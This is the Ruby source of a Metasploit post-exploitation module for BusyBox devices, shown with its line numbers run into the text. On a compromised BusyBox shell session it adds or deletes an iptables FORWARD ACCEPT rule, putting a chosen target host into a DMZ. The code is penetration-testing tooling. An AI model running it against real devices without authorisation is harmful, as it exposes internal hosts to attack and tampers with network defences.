Path: blob/master/modules/post/linux/busybox/set_dmz.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67def initialize8super(9'Name' => 'BusyBox DMZ Configuration',10'Description' => %q{11This module will be applied on a session connected to a BusyBox shell. It allows to manage12traffic forwarding to a target host through the BusyBox device.13},14'Author' => 'Javier Vicente Vallejo',15'License' => MSF_LICENSE,16'Platform' => ['linux'],17'SessionTypes' => ['shell']18)1920register_options([21OptAddress.new('TARGET_HOST', [ true, 'The address of the target host']),22OptBool.new('DELETE', [true, 'Remove host from the DMZ, otherwise will add it', false])23])24end2526def run27if datastore['DELETE']28print_status("Deleting #{datastore['TARGET_HOST']} from DMZ")29vprint_status(cmd_exec("iptables -D FORWARD -d #{datastore['TARGET_HOST']} -j ACCEPT"))30else31print_status("Adding #{datastore['TARGET_HOST']} to DMZ")32vprint_status(cmd_exec("iptables -A FORWARD -d #{datastore['TARGET_HOST']} -j ACCEPT"))33end3435vprint_status(cmd_exec('iptables --list'))36end37end383940